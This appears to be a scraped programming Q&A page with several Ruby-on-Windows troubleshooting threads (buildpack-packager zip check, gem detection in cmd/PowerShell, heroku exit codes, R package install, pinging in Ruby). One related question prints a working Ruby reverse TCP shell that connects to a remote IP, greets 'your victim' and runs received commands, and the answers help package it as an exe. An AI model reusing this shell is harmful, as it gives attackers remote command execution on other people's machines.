Ruby: 'Zip is not installed' error message when running on Win CMD this: buildpack-packager --uncached - ruby

I'm running cmd command buildpack-packer --uncached (or any other option of buildpack-packer). I had many error messages prior that. They were caused by bad content of manifest.yml. I corrected them. So now I receive this error message: Zip is not installed (RuntimeError)
I used gem install to install zip gem and rubyzip gem (as first did not work, so I tried a second). So now both not helping to get rid of this error message.
Here is a part of the installed gem list:
And here is the code that drops this error (found it based on the error message in file: C:/Ruby24-x64/lib/ruby/gems/2.4.0/gems/buildpack-packager-2.3.4/lib/buildpack/packager.rb):
I'm quite new in Ruby, so maybe I do some very basic mistake...
Thx in advance!!

Please don't use pictures or screenshots in your post. Use plaintext only.
I think you are misunderstanding the code:
_, _, status = Open3.capture3('which zip')
It checks if you have any zip program (executable) installed not a ruby gem (library). It actually executes which zip in your cmd shell.
For example on my system it found an oracle one:
c:\> which zip
/c/app/oracle/client11g/product/11.2.0/client/bin/zip
Then if you test it in irb:
irb(main):004:0> _, _, status = Open3.capture3('which zip')
=> ["/c/app/oracle/client11g/product/11.2.0/client/bin/zip\n", "", #<Process::Status: pid 10944 exit 0>]
You can see that the executable was found and success state is indicated by the 0. The variable status holds the return message - status => #<Process::Status: pid 10944 exit 0>
I have the which program from dev_kit:
c:\>which which
/c/prg_sdk/ruby/dev_kit/bin/which

Related

Ruby compile with ocra error - libssp-0.dll not found

I'm trying to compile a simple reverse TCP shell written in ruby with ocra.
The code is pretty simple:
#!/usr/bin/env ruby
require 'socket'
require 'open3'
#Remote Host IP
RHOST = "192.168.197.23"
#Remote Host Port
PORT = "6969"
#Tries to connect every 5 seconds
begin
sock = TCPSocket.new "#{RHOST}","#{PORT}"
sock.puts "You are connected to your victim"
rescue
puts "Retrying..."
sleep 5
retry
end
#Runs the commands you type and sends you back the stdout and stderr.
begin
while line = sock.gets && line
Open3.popen2e("#{line}") do | stdin, stdout_and_stderr |
IO.copy_stream(stdout_and_stderr, sock)
end
end
rescue
retry
end
I build it with: ocra RevShell.rb --verbose
I get no error messages but whenever I try to run the .exe I get the following error: "C:\Users\Andrea\AppData\Local\Temp\ocrE30.tmp\bin\ruby_builtin_dlls\libssp-0.dll not found"
Am I missing something? Ocra should check the needed requirements by itself adding it to the exe by I still miss this dll.
Thanks for your help.
Maybe you don't have the libssp-0.dll file installed. You can download it from https://www.dll-files.com/libssp-0.dll.html then placing the file where the error says.
Use --dll ruby_builtin_dlls\libssp-0.dll.
See https://github.com/larsch/ocra/issues/168 for more details.
I faced the same problem with Ruby 2.6 and 2.7 (x64) installed by RubyInstaller.
In my case, libssp-0.dll surely exists at the ruby_builtin_dlls directory, but somehow it was not included in the compiled exe while other dlls in the same directory are all included.
For time being, I could evade this problem by using (x86) version of Ruby 2.7.

If-else and error handing in command prompt

I am trying to detect if certain ruby gem is not installed, install it first and then proceed.
For instance:
gem which rails
returns path to gem's driver file (.rb) on stdout, if gem exists, if not it checks throws error on stderr.
How can I solve it?
Pseudo code:
if throws "gem which example1" ( gem install example1 )
if throws "gem which example2" ( gem install example2 )
if throws "gem which example3" ( gem install example3 )
:: install other stuff
Either cmd or powershell would work.
I need to add these in AppVeyor CI yaml configuration file. AppVeyor CI has this wonderful feature of caching the directory for DRY'ing installations to improve build performance. So I have cached the gems directory and it restores fine on running the build, but then gem install reinstalls the gem anyway!
By using powershell to run the command you can use error redirection to check if the command was successful:
$gemPath = gem which example3 2>$null
if ($gemPath)
{
# We got a path for the gem driver
}
else
{
# Failed, gem might not be installed
}
Explanation: We're telling powershell to store the result of "gem which example3" in the variable $gemPath, however if there is an error we want to redirect the error to the variable $null by using 2>$null
You can also replace 2 with the number corresponding to the stream you'd like to capture (Success, Error, Warning etc)
* All output
1 Success output
2 Errors
3 Warning messages
4 Verbose output
5 Debug messages
More on redirection here About_Redirection
Try, in .cmd script:
gem which rails 1>nul 2>&1
IF ERRORLEVEL 1 (gem install rails)
I'm assuming here you want the outputs to stdout and stderr stifled for purposes of this batch script - otherwise, drop the 1>nul 2>&1.

How can you tell if running a command through the heroku cli succeeded?

When running a command through heroku, such as:
heroku run rake db:migrate
I would like to know if the command succeeded or not. Unfortunately, even if running the migration fails, I get an exit status of 0.
I'm writing some ruby code that wraps this command and invokes it, and raises an error if the command failed. The code looks like:
Open3.popen2e('heroku run rake db:migrate') do |stdin, stdout_and_stderr, wait_thr|
raise 'running migration failed' unless wait_thr.value.success?
end
Even when running this fails, and I get a message:
rake aborted! StandardError: An error has occurred, this and all later
migrations canceled:
My code itself does not raise an error. Inspecting wait_thr.value in the above code, it has an exit code of 0, which means the heroku CLI believes the rake call succeeded.
How can my code know if the command that was run by the heroku cli failed? Is there a way to tell the heroku CLI to return the status code of the command it ran?
There is now official support for this from their CLI:
heroku help run
Usage: heroku run COMMAND
run an attached dyno
-s, --size SIZE # specify dyno size
--exit-code # return exit code from process
So you would now run:
heroku run --exit-code rake db:migrate
You're not alone with this. Many have complained about this before, check this out:
https://github.com/heroku/heroku/issues/186
You can (dirty) work around the problem with this gem:
https://github.com/glenngillen/heroku-exit-status

Can't install PDQ tool for R on windows

I've been trying for half an hour following this simple guide http://www.perfdynamics.com/Tools/PDQcode.html#tth_sEc1.1.1
It simply throws this error:
> install.packages("C:\\Users\\Neven\\Downloads\\pdq_6.0-1.tar.gz",repos=NULL,type="source")
Warning: invalid package 'C:/Users/Neven/Downloads/pdq_6.0-1.tar.gz'
Error: ERROR: no packages specified
Warning messages:
1: running command '"C:/PROGRA~1/R/R-30~1.2/bin/x64/R" CMD INSTALL -l "C:\ProgramFiles\R\R-3.0.2\library" "C:/Users/Neven/Downloads/pdq_6.0-1.tar.gz"' had status 1
2: In install.packages("C:\\Users\\Neven\\Downloads\\pdq_6.0-1.tar.gz", :
installation of package ‘C:/Users/Neven/Downloads/pdq_6.0-1.tar.gz’ had non-zero exit status
I've been searching for an answer on the website, trying different things but nothing did it.
I was copy/pasting the command from their documentation and it seems their documentation is out of date.
The command is:
install.packages("C:\\Users\\Neven\\Downloads\\pdq_6.0-1.tar.gz",repos=NULL,type="source")
Since there's a new version of R (6.1-1), it should be:
install.packages("C:\\Users\\Neven\\Downloads\\pdq_6.1-1.tar.gz",repos=NULL,type="source")
Really stupid mistake, but that's what solved the problem.

ruby ping for 1.9.1

I want to ping a site in my ruby code and saw that net-ping was a nice library to do this with. Unfortunately, when I tried to gem install net-ping I got the following error:
C:>gem install net-ping
ERROR: Error installing net-ping:
win32-open3 requires Ruby version < 1.9.0.
upon further research, I found that net-ping was not available yet for 1.9.X. Does anyone have a good piece of code that pings that they would be willing to share.
If by 'site' you mean website, then I wouldn't use ping. Ping will tell you if the host is up (unless a router or firewall is blocking ICMP), but it won't tell you if your web server or web app is responding properly.
If that's the case, I'd recommend Net::HTTP from the standard library, or any of the other HTTP libraries. One way to do it is:
def up?(site)
Net::HTTP.new(site).head('/').kind_of? Net::HTTPOK
end
up? 'www.google.com' #=> true
You can always do this and use regexps to parse the result or just check the exit status:
ping_count = 10
server = "www.google.com"
result = `ping -q -c #{ping_count} #{server}`
if ($?.exitstatus == 0) do
puts "Device is up!"
end
Ping return values that you can check against:
The ping utility returns an exit status of zero if at least one response was heard from the specified host; a status of two if the transmission was successful but no responses were received; or another value (from <sysexits.h>) if an error occurred.
http://www.manpagez.com/man/8/ping
For windows follow these instructions:
download djberg96-net-ping-net-ping-1.5.3-0-g9252076.zip from github.com/djberg96/net-ping
unzip, cd in the folder
gem build net-ping.gemspec
gem install net-ping-1.5.3-universal-mingw32.gem
gem install win32-security
to use it:
require 'net/ping'
p Net::Ping::TCP.new('www.google.com', 'http').ping?
p Net::Ping::TCP.new('foo.bar.baz').ping?
Use from source
gem "net-ping", :git => 'git://github.com/djberg96/net-ping.git'
# bundle install
Now you can use functions from it in 1.9.2

Resources